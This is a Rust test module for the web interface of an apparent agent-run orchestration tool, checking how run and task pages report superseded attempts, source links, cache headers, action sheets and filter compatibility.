21708        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21709            ..APP_CSS.find(".alert-text").expect(".alert-text")];
21710        assert!(
21711            alert.contains("position: fixed"),
21712            "an error about the thing under your thumb has to be visible from \
21713             where your thumb is: {alert}"
21714        );
21715        assert!(
21716            alert.contains("z-index: 25"),
21717            "above the dock (20) and the run-actions FAB (15), so neither \
21718             buries it: {alert}"
21719        );
21720        assert!(
21721            alert.contains("var(--tap)"),
21722            "and clear of the dock and the home indicator: {alert}"
21723        );
21724        // The FAB sits at the same height on the right. An error that covered
21725        // it would hide the button the operator reaches for next.
21726        assert!(
21727            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21728            "the FAB's column stays free: {alert}"
21729        );
21730    }
21731
21732    #[tokio::test]
21733    async fn an_older_attempt_says_what_replaced_it() {
21734        let fx = Fixture::start().await;
21735        let q = fx.queue();
21736        let runs = fx.runs();
21737        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21738        write_run(&runs, first, RunStatus::Stalled);
21739        write_run(&runs, second, RunStatus::Blocked);
21740
21741        let mut t = Task::new(
21742            "one task".to_owned(),
21743            "do it".to_owned(),
21744            PathBuf::from("/repo"),
21745            Source::Human,
21746        );
21747        t.runs = vec![first.to_owned(), second.to_owned()];
21748        q.put(&mut t).expect("put");
21749
21750        // Two cards with the same title and no hint which is which was the
21751        // question: "why are there two of the same, one stalled and one
21752        // blocked?" The older one now names its replacement.
21753        let rows = fx.get("/api/runs").await.json();
21754        let by = |short: &str| -> Value {
21755            rows.as_array()
21756                .unwrap()
21757                .iter()
21758                .find(|r| r["short"] == short)
21759                .cloned()
21760                .unwrap_or(Value::Null)
21761        };
21762        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21763        assert!(
21764            by("bbbb")["superseded_by"].is_null(),
21765            "the latest attempt is not superseded by anything"
21766        );
21767        // Front end: the note has to be rendered, not just carried.
21768        assert!(APP_JS.contains("run.superseded_by"));
21769        assert!(APP_JS.contains("Superseded by"));
21770    }
21771
21772    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21773        let mut t = Task::new(
21774            "one task".to_owned(),
21775            "do it".to_owned(),
21776            PathBuf::from("/repo"),
21777            Source::Human,
21778        );
21779        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21780        t.status = status;
21781        t
21782    }
21783
21784    #[test]
21785    fn source_link_picks_the_page_that_filed_the_task() {
21786        let agent = |node: &str| Source::Agent {
21787            run: "20260904-014455-ab12".to_owned(),
21788            node: node.to_owned(),
21789        };
21790        let chat = source_link(&agent("chat")).expect("chat link");
21791        assert_eq!(chat.kind, "chat");
21792        assert_eq!(chat.id, "20260904-014455-ab12");
21793        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21794        let run = source_link(&agent("implement")).expect("run link");
21795        assert_eq!(
21796            (run.kind, run.href.as_str()),
21797            ("run", "#/runs/20260904-014455-ab12")
21798        );
21799        assert_eq!(source_link(&Source::Human), None);
21800        assert_eq!(
21801            source_link(&Source::Issue {
21802                number: 3,
21803                repo: "o/r".to_owned()
21804            }),
21805            None
21806        );
21807        let odd = source_link(&Source::Agent {
21808            run: "a b/c".to_owned(),
21809            node: "chat".to_owned(),
21810        })
21811        .expect("link");
21812        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21813    }
21814
21815    #[test]
21816    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21817        assert!(
21818            !APP_JS.contains("src.node === \"chat\""),
21819            "inline href rule is back"
21820        );
21821        assert!(
21822            APP_JS.matches("sourceLinkOf(").count() >= 4,
21823            "helper must serve every page"
21824        );
21825        assert!(
21826            APP_JS.matches("openChatLink(").count() >= 3,
21827            "the run page still needs its explicit chat link"
21828        );
21829        assert!(
21830            !APP_JS.contains("const openChat = el("),
21831            "the Queue card duplicates its source label link again"
21832        );
21833        assert!(
21834            APP_JS.contains("metaKids.push(link ? el(\"a\""),
21835            "the task page must link a chat source label too"
21836        );
21837    }
21838
21839    #[test]
21840    fn task_ref_carries_the_source_link_for_a_chat_task() {
21841        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21842        t.source = Source::Agent {
21843            run: "20260904-014455-ab12".to_owned(),
21844            node: "chat".to_owned(),
21845        };
21846        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21847        let v = serde_json::to_value(&out).expect("json");
21848        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21849        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21850        assert_eq!(v["source_label"], t.source.label());
21851
21852        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21853        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21854            .expect("json");
21855        assert!(v["source_link"].is_null(), "{v}");
21856    }
21857
21858    #[test]
21859    fn task_view_serializes_source_link() {
21860        let mut t = Task::new(
21861            "t".to_owned(),
21862            "t".to_owned(),
21863            PathBuf::from("/repo"),
21864            Source::Agent {
21865                run: "20260901-000000-aaaa".to_owned(),
21866                node: "implement".to_owned(),
21867            },
21868        );
21869        t.runs.clear();
21870        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21871        assert_eq!(v["source_link"]["kind"], "run", "{v}");
21872        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21873    }
21874
21875    #[test]
21876    fn task_view_serializes_urgent_flag() {
21877        let mut t = Task::new(
21878            "t".to_owned(),
21879            "t".to_owned(),
21880            PathBuf::from("/repo"),
21881            Source::Human,
21882        );
21883        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21884        assert_eq!(v["urgent"], false, "{v}");
21885        t.urgent = true;
21886        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21887        assert_eq!(v["urgent"], true, "{v}");
21888        assert!(APP_JS.contains("task.urgent === true"));
21889    }
21890
21891    #[tokio::test]
21892    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21893        let fx = Fixture::start().await;
21894        let runs = fx.runs();
21895        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21896        write_run(&runs, old, RunStatus::Blocked);
21897        write_run(&runs, new, RunStatus::Merged);
21898        let mut t = outcome_task(&[old, new], TaskStatus::Done);
21899        fx.queue().put(&mut t).expect("put");
21900
21901        let view = fx.get(&format!("/api/runs/{old}")).await.json();
21902        let task = &view["task"];
21903        assert_eq!(task["status"], "done");
21904        assert_eq!(task["is_latest"], false);
21905        assert_eq!(task["latest"]["short"], "bbbb");
21906        assert_eq!(task["finished_by"]["id"], new);
21907        assert_eq!(task["finished_by"]["outcome"], "merged");
21908        assert_eq!(task["closed_by_hand"], false);
21909        assert_eq!(view["status"], "blocked", "the run keeps its own status");
21910        assert!(APP_JS.contains("finished_by"));
21911        assert!(APP_JS.contains("superseded by run"));
21912    }
21913
21914    #[tokio::test]
21915    async fn the_latest_run_reports_a_held_task_without_a_successor() {
21916        let fx = Fixture::start().await;
21917        let runs = fx.runs();
21918        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21919        write_run(&runs, old, RunStatus::Stalled);
21920        write_run(&runs, new, RunStatus::Blocked);
21921        let mut t = outcome_task(&[old, new], TaskStatus::Held);
21922        fx.queue().put(&mut t).expect("put");
21923
21924        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21925        assert_eq!(task["status"], "held");
21926        assert_eq!(task["is_latest"], true);
21927        assert!(task["latest"].is_null());
21928        assert!(task["finished_by"].is_null());
21929        assert_eq!(task["closed_by_hand"], false);
21930    }
21931
21932    #[tokio::test]
21933    async fn a_direct_run_has_no_task_outcome() {
21934        let fx = Fixture::start().await;
21935        let runs = fx.runs();
21936        let id = "20260901-000000-aaaa";
21937        write_run(&runs, id, RunStatus::Blocked);
21938        let view = fx.get(&format!("/api/runs/{id}")).await.json();
21939        assert!(view["task"].is_null());
21940    }
21941
21942    #[test]
21943    fn task_outcome_does_not_guess_a_finishing_run() {
21944        let a = "20260901-000000-aaaa";
21945        let b = "20260901-000000-bbbb";
21946        let c = "20260901-000000-cccc";
21947        let dir = tempfile::tempdir().expect("tempdir");
21948        write_run(dir.path(), a, RunStatus::Blocked);
21949        write_run(dir.path(), b, RunStatus::VerifiedNoop);
21950        // `c` has no record: unreadable.
21951        let read = |id: &str| read_run(dir.path(), id).ok();
21952        // Neither a blocked run nor a no-op finished the task; the newest run is
21953        // unreadable and still named.
21954        let t = outcome_task(&[a, b, c], TaskStatus::Done);
21955        let out = task_outcome(&t, a, 3, read);
21956        assert!(out.finished_by.is_none());
21957        assert!(out.closed_by_hand);
21958        let latest = out.latest.expect("latest");
21959        assert_eq!(latest.id, c);
21960        assert_eq!(latest.status, None);
21961        assert_eq!(latest.outcome, "record unreadable");
21962
21963        // A Ready run settles the task as done, so it is named as the finisher.
21964        write_run(dir.path(), c, RunStatus::Ready);
21965        let t = outcome_task(&[a, c], TaskStatus::Done);
21966        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21967        assert_eq!(out.finished_by.expect("finisher").id, c);
21968        assert!(!out.closed_by_hand);
21969
21970        // A resumed run id repeats: it is still the latest by id.
21971        let t = outcome_task(&[a, b, a], TaskStatus::Held);
21972        assert!(task_outcome(&t, a, 3, read).is_latest);
21973    }
21974
21975    #[tokio::test]
21976    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21977        // The list route has known this since the card fix above; the detail
21978        // route — what an operator actually opens from a notification about
21979        // a blocked run — did not, and went on showing a bare red BLOCKED
21980        // chip for a run a retry had already finished.
21981        let fx = Fixture::start().await;
21982        let q = fx.queue();
21983        let runs = fx.runs();
21984        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21985        write_run(&runs, first, RunStatus::Blocked);
21986        write_run(&runs, second, RunStatus::Merged);
21987
21988        let mut t = Task::new(
21989            "one task".to_owned(),
21990            "do it".to_owned(),
21991            PathBuf::from("/repo"),
21992            Source::Human,
21993        );
21994        t.runs = vec![first.to_owned(), second.to_owned()];
21995        q.put(&mut t).expect("put");
21996
21997        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21998        assert_eq!(earlier["superseded_by"], "dddd");
21999        assert_eq!(earlier["latest_attempt"]["id"], second);
22000        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22001        assert_eq!(
22002            earlier["latest_attempt"]["resolved"], true,
22003            "the run that replaced it landed, so this one reads as settled"
22004        );
22005
22006        let later = fx.get(&format!("/api/runs/{second}")).await.json();
22007        assert!(
22008            later["superseded_by"].is_null(),
22009            "the latest attempt is not superseded by anything"
22010        );
22011        assert!(
22012            later["latest_attempt"].is_null(),
22013            "the latest attempt has no later attempt of its own"
22014        );
22015
22016        // Front end: the detail page has to read the field this route now
22017        // carries, downgrade the chip, and link to the run that replaced it —
22018        // not just repeat the list card's own logic under a different name.
22019        // The link is built off `latest_attempt.id`, the server-resolved
22020        // full id, never a bare short string a client would have to guess a
22021        // full run from.
22022        assert!(APP_JS.contains("run.latest_attempt"));
22023        assert!(APP_JS.contains("data-superseded"));
22024        assert!(APP_JS.contains("#/runs/${latest.id}"));
22025    }
22026
22027    #[tokio::test]
22028    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22029        // A -> B -> C, all Blocked except the last. A's immediate successor
22030        // (superseded_by) is B, which is itself unresolved; what an operator
22031        // opening A's page actually needs is where the task's story stands
22032        // *now* - C, not B - without depending on whether C happens to be in
22033        // whatever page of /api/runs the client last cached.
22034        let fx = Fixture::start().await;
22035        let q = fx.queue();
22036        let runs = fx.runs();
22037        let (a, b, c) = (
22038            "20260901-000000-aaaa",
22039            "20260901-000000-bbbb",
22040            "20260901-000000-cccc",
22041        );
22042        write_run(&runs, a, RunStatus::Blocked);
22043        write_run(&runs, b, RunStatus::Blocked);
22044        write_run(&runs, c, RunStatus::Merged);
22045
22046        let mut t = Task::new(
22047            "retried twice".to_owned(),
22048            "do it".to_owned(),
22049            PathBuf::from("/repo"),
22050            Source::Human,
22051        );
22052        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22053        q.put(&mut t).expect("put");
22054
22055        let view = fx.get(&format!("/api/runs/{a}")).await.json();
22056        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22057        assert_eq!(
22058            view["latest_attempt"]["id"], c,
22059            "the chain's current head, not the intermediate Blocked retry"
22060        );
22061        assert_eq!(view["latest_attempt"]["resolved"], true);
22062
22063        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22064        assert_eq!(mid["latest_attempt"]["id"], c);
22065        assert_eq!(mid["latest_attempt"]["resolved"], true);
22066    }
22067
22068    #[tokio::test]
22069    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22070        let fx = Fixture::start().await;
22071        let q = fx.queue();
22072        let runs = fx.runs();
22073
22074        // Still Blocked: the task is not resolved, so the older run must not
22075        // read as settled either.
22076        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22077        write_run(&runs, still_blocked_a, RunStatus::Blocked);
22078        write_run(&runs, still_blocked_b, RunStatus::Blocked);
22079        let mut t1 = Task::new(
22080            "still stuck".to_owned(),
22081            "do it".to_owned(),
22082            PathBuf::from("/repo"),
22083            Source::Human,
22084        );
22085        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22086        q.put(&mut t1).expect("put");
22087        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22088        assert_eq!(view1["latest_attempt"]["resolved"], false);
22089        assert_eq!(view1["latest_attempt"]["status"], "blocked");
22090        assert_eq!(view1["latest_attempt"]["done"], true);
22091
22092        // Still running: the successor exists and must be reported as such.
22093        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22094        write_run(&runs, run_a, RunStatus::Blocked);
22095        write_run(&runs, run_b, RunStatus::Implementing);
22096        let mut t3 = Task::new(
22097            "retrying".to_owned(),
22098            "do it".to_owned(),
22099            PathBuf::from("/repo"),
22100            Source::Human,
22101        );
22102        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22103        q.put(&mut t3).expect("put");
22104        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22105        assert_eq!(view3["latest_attempt"]["id"], run_b);
22106        assert_eq!(view3["latest_attempt"]["resolved"], false);
22107        assert_eq!(view3["latest_attempt"]["done"], false);
22108
22109        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
22110        // to check - not a confirmed finish, so this must not read as
22111        // resolved either, even though the run is done in the sense that
22112        // nothing is still running.
22113        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22114        write_run(&runs, noop_a, RunStatus::Blocked);
22115        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22116        let mut t2 = Task::new(
22117            "claims done".to_owned(),
22118            "do it".to_owned(),
22119            PathBuf::from("/repo"),
22120            Source::Human,
22121        );
22122        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22123        q.put(&mut t2).expect("put");
22124        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22125        assert_eq!(
22126            view2["latest_attempt"]["resolved"], false,
22127            "an unverified no-op claim must not read as a confirmed finish"
22128        );
22129
22130        // Front end: an unresolved successor must not carry the "finished
22131        // this work" note or the muted chip treatment.
22132        assert!(APP_JS.contains("latest.resolved"));
22133        // ...but the link to it shows as soon as it exists, labelled by state
22134        // and without the "finished" wording or the muted chip.
22135        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22136        assert!(APP_JS.contains("Latest attempt: "));
22137        assert!(APP_JS.contains("in flight"));
22138        assert!(APP_JS.contains("not resolved"));
22139    }
22140
22141    #[tokio::test]
22142    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22143        let fx = Fixture::start().await;
22144        // No cache header at all meant browsers invented their own policy,
22145        // and one did: a phone went on showing "Candidates must be folded
22146        // before deleting. Run `magi fold` first." - deleted two releases
22147        // earlier - from a deck that no longer contained the sentence. The
22148        // button it named was right there, and unreachable.
22149        let js = fx.get("/app.js").await;
22150        assert_eq!(js.status, 200);
22151        let tag = js
22152            .header("etag")
22153            .expect("an etag to revalidate against")
22154            .to_owned();
22155        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
22156        assert_eq!(
22157            js.header("cache-control"),
22158            Some("no-cache, must-revalidate"),
22159            "the phone has to ask every time"
22160        );
22161
22162        // And the asking has to be cheap, or `must-revalidate` just means
22163        // "send the whole interface on every load".
22164        let again = fx
22165            .get_with("/app.js", &[("if-none-match", tag.as_str())])
22166            .await;
22167        assert_eq!(
22168            again.status, 304,
22169            "a deck it already has costs one round trip"
22170        );
22171        assert!(again.body.is_empty(), "304 carries no body");
22172
22173        // A weakened tag from a proxy still matches; a different build does
22174        // not, which is the case that has to deliver the new interface.
22175        let weak = fx
22176            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
22177            .await;
22178        assert_eq!(weak.status, 304);
22179        let stale = fx
22180            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
22181            .await;
22182        assert_eq!(stale.status, 200, "an older build must be replaced");
22183        assert!(stale.body.contains("renderRunActions"));
22184    }
22185
22186    #[test]
22187    fn the_task_detail_has_an_actions_fab_and_sheet() {
22188        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
22189        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
22190        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
22191        // Shown only on the task route, closed everywhere else.
22192        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
22193        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
22194        // Refreshed whenever the detail redraws, including the loading state.
22195        assert!(APP_JS.contains("renderTaskActions(task);"));
22196        assert!(APP_JS.contains("renderTaskActions(null);"));
22197        // Same renderers and routes as the Queue card, no new endpoint.
22198        let sheet = APP_JS
22199            .find("function renderTaskActions")
22200            .expect("sheet renderer");
22201        let body = &APP_JS[sheet..sheet + 3000];
22202        assert!(body.contains("changePriority("));
22203        assert!(body.contains("openTaskEdit(task)"));
22204        assert!(body.contains("renderTaskHoldBox(host"));
22205        assert!(body.contains("renderTaskDoneBox(host"));
22206        assert!(body.contains("renderTaskDeleteBox(host"));
22207        assert!(APP_JS.contains("API.priority(id)"));
22208        assert!(APP_JS.contains("API.deleteTask(id)"));
22209        // A deleted task sends the operator back to the queue.
22210        assert!(APP_JS.contains("location.hash = \"#/queue\""));
22211        // A refusal is shown inside the sheet.
22212        assert!(APP_JS.contains("$(\"task-actions-error\")"));
22213    }
22214
22215    #[test]
22216    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
22217        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
22218        let actions = INDEX_HTML
22219            .find("id=\"run-actions-box\"")
22220            .expect("actions box");
22221        assert!(task < actions, "the task entry comes first in the sheet");
22222        assert!(APP_JS.contains("renderRunTaskEntry"));
22223        assert!(APP_JS.contains("\"Open task \""));
22224        // A run without a task says why there is nothing to open.
22225        assert!(APP_JS.contains("started directly, no task"));
22226        assert!(APP_JS.contains("sheet-task-link"));
22227        assert!(APP_JS.contains("task-chip-link"));
22228    }
22229
22230    #[test]
22231    fn the_deck_never_sends_the_operator_to_a_terminal() {
22232        // The whole point of the phone UI is that a terminal is not needed.
22233        // The delete control used to answer with "Run `magi fold` first."
22234        assert!(
22235            !APP_JS.contains("Run `magi fold` first"),
22236            "the deck must offer the fold, not prescribe a shell command"
22237        );
22238        assert!(APP_JS.contains("foldRun:"));
22239        assert!(APP_JS.contains("resumeRun:"));
22240        assert!(APP_JS.contains("renderRunActions"));
22241
22242        // Folding is destructive and armed in two steps, like deleting.
22243        assert!(APP_JS.contains("armedFold"));
22244        assert!(APP_JS.contains("Yes, fold worktrees"));
22245
22246        // And the copy has to say that the two actions are opposites, because
22247        // folding throws away exactly what a resume would continue from.
22248        assert!(APP_JS.contains("can no longer be resumed"));
22249    }
22250
22251    #[test]
22252    fn a_finished_run_explains_itself_with_its_own_last_line() {
22253        // The deck used to answer "why did this stop?" with a sentence chosen
22254        // by status alone. Run e633 stalled because two judges answered with
22255        // the wrong JSON shape and its card said "The panel collapsed on
22256        // agent quota" - with `quota: []` in the record and a quota-loss
22257        // counter right above it that correctly said nothing.
22258        assert!(
22259            !APP_JS.contains("collapsed on agent quota"),
22260            "a stall must not be explained by a cause the deck did not check"
22261        );
22262        assert!(
22263            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
22264            "and a block must not offer a guess with an `or` in it"
22265        );
22266
22267        // The reason it does have is `run.event`, which must reach finished
22268        // runs: gating it on movement hid the recorded truth at the one moment
22269        // the operator is reading the card to find out what happened.
22270        assert!(
22271            APP_JS.contains("setText(r.event, run.event || \"\")"),
22272            "the run's last line is rendered unconditionally"
22273        );
22274        assert!(
22275            !APP_JS.contains("moving && run.event"),
22276            "and never gated on the run still moving"
22277        );
22278
22279        // Quota keeps its own counter, fed by the number actually recorded.
22280        assert!(APP_JS.contains("lost to quota"));
22281    }
22282
22283    /// The runs tree (section) and the state chips (waiting/done) are two
22284    /// independent lenses ANDed together in `renderRuns`, and some pairings
22285    /// can never both be true for any run - every "Landed"/"Ended" run is
22286    /// done by construction, so pairing either with "Active" or "In flight"
22287    /// always rendered zero cards with the filter bar still claiming
22288    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
22289    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
22290    /// a handful of (waiting, status) shapes standing in for the run
22291    /// lifecycle, because `cargo test` cannot execute the front end.
22292    ///
22293    /// That stand-in list is itself the part that drifted twice in review:
22294    /// once shipped with `waiting: true` paired with a done status the
22295    /// lifecycle cannot produce, then over-corrected into treating every
22296    /// waiting run as never done - which made "Waiting on you" look
22297    /// incompatible with "Done" even for the one real, reachable shape
22298    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
22299    /// that combination. This test parses the shapes and the done-rule back
22300    /// out of `APP_JS`, reimplements `runSection` and the five state
22301    /// predicates independently in Rust, and checks the resulting
22302    /// section/filter compatibility table against the lifecycle rules by
22303    /// hand - so either direction of drift fails it again.
22304    #[test]
22305    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
22306        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
22307        let shapes_body_start =
22308            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
22309        let shapes_close = APP_JS[shapes_body_start..]
22310            .find("].map(")
22311            .expect("the shape list is closed by its done-computing .map(...)")
22312            + shapes_body_start;
22313        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
22314
22315        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
22316        for entry in shapes_src.split('{').skip(1) {
22317            let waiting = entry.contains("waiting: true");
22318            let dead = entry.contains("live: \"dead\"");
22319            let status_at =
22320                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
22321            let status_end = entry[status_at..]
22322                .find('"')
22323                .expect("the status string is closed")
22324                + status_at;
22325            let parked = entry.contains("display_status: \"parked\"");
22326            shapes.push((
22327                waiting,
22328                entry[status_at..status_end].to_string(),
22329                dead,
22330                parked,
22331            ));
22332        }
22333        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
22334
22335        // The done rule itself (`!["implementing"].includes(shape.status)`),
22336        // read out of the source rather than hardcoded, so a renamed
22337        // in-flight status can't silently make every parsed shape "done".
22338        let done_rule_marker = "done: !";
22339        let done_rule_at = APP_JS[shapes_close..]
22340            .find(done_rule_marker)
22341            .expect("the done rule follows the shape list")
22342            + shapes_close
22343            + done_rule_marker.len();
22344        let includes_at = APP_JS[done_rule_at..]
22345            .find(".includes(shape.status)")
22346            .expect("the done rule ends in .includes(shape.status)")
22347            + done_rule_at;
22348        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
22349            .trim()
22350            .trim_start_matches('[')
22351            .trim_end_matches(']')
22352            .split(',')
22353            .map(|s| s.trim().trim_matches('"'))
22354            .filter(|s| !s.is_empty())
22355            .collect();
22356
22357        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
22358            .into_iter()
22359            .map(|(waiting, status, dead, parked)| {
22360                let done = !not_done.contains(&status.as_str());
22361                (waiting, status, dead, parked, done)
22362            })
22363            .collect();
22364
22365        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
22366        // outright, then merged/ready land, stalled/blocked/failed/
22367        // verified_noop end, and everything else is still in flight.
22368        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
22369            if waiting {
22370                return "waiting";
22371            }
22372            if dead
22373                && !parked
22374                && !matches!(
22375                    status,
22376                    "merged"
22377                        | "ready"
22378                        | "stalled"
22379                        | "blocked"
22380                        | "failed"
22381                        | "verified_noop"
22382                        | "superseded"
22383                        | "already_in_base"
22384                )
22385            {
22386                return "stale";
22387            }
22388            match status {
22389                "merged" | "ready" => "landed",
22390                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
22391                | "already_in_base" => "ended",
22392                _ => "flight",
22393            }
22394        }
22395
22396        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
22397        // way.
22398        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
22399            match filter_key {
22400                "active" => !done,
22401                "flight" => !done && !waiting && !dead,
22402                "stale" => !done && !waiting && dead,
22403                "waiting" => waiting,
22404                "done" => done,
22405                "all" => true,
22406                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
22407            }
22408        }
22409
22410        let compatible = |section: &str, filter_key: &str| {
22411            shapes.iter().any(|(waiting, status, dead, parked, done)| {
22412                run_section(*waiting, status, *dead, *parked) == section
22413                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
22414            })
22415        };
22416
22417        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
22418        // (active, flight, stale, waiting, done, all) - hand-derived from the
22419        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
22420        // currently contains.
22421        let expected = [
22422            ("waiting", [true, false, false, true, true, true]),
22423            ("stale", [true, false, true, false, false, true]),
22424            ("flight", [true, true, false, false, false, true]),
22425            ("landed", [false, false, false, false, true, true]),
22426            ("ended", [false, false, false, false, true, true]),
22427        ];
22428        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
22429
22430        for (section, wants) in expected {
22431            for (filter_key, want) in filter_keys.iter().zip(wants) {
22432                assert_eq!(
22433                    compatible(section, filter_key),
22434                    want,
22435                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
22436                );
22437            }
22438        }
22439
22440        // The compatibility check exists only to be acted on: both pickers
22441        // must actually consult it rather than just render its answer.
22442        assert!(
22443            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
22444        );
22445        assert!(APP_JS.contains(
22446            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
22447        ));
22448        assert!(APP_JS.contains(
22449            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
22450        ));
22451    }
22452
22453    #[tokio::test]
22454    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
22455        // An operator-named directory - git checkout or not - is never
22456        // second-guessed, even when it does not exist at all: only the
22457        // flag's own unmodified `.` default is ever eligible for discovery.
22458        let dir = tempfile::tempdir().expect("tempdir");
22459        let explicit = dir.path().join("not-a-checkout");
22460        std::fs::create_dir_all(&explicit).expect("create dir");
22461        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
22462
22463        let missing = dir.path().join("does-not-exist-at-all");
22464        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
22465    }
22466
22467    #[test]
22468    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
22469        assert!(APP_JS.contains("function statsDonutArcs"));
22470        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
22471        // A bucket click filters by the statuses src/stats.rs counts in it.
22472        assert!(APP_JS.contains("function statusInBucket"));
22473        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
22474        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
22475        let buckets = [
22476            "merged",
22477            "ready",
22478            "in_progress",
22479            "blocked",
22480            "failed",
22481            "verified_noop",
22482            "superseded",
22483            "stalled",
22484        ];
22485        for key in buckets {
22486            let var = format!("--verdict-{key}:");
22487            // Light, OS-dark and pinned-dark blocks each define it.
22488            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
22489            assert!(
22490                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
22491                "{key}"
22492            );
22493        }
22494    }
22495}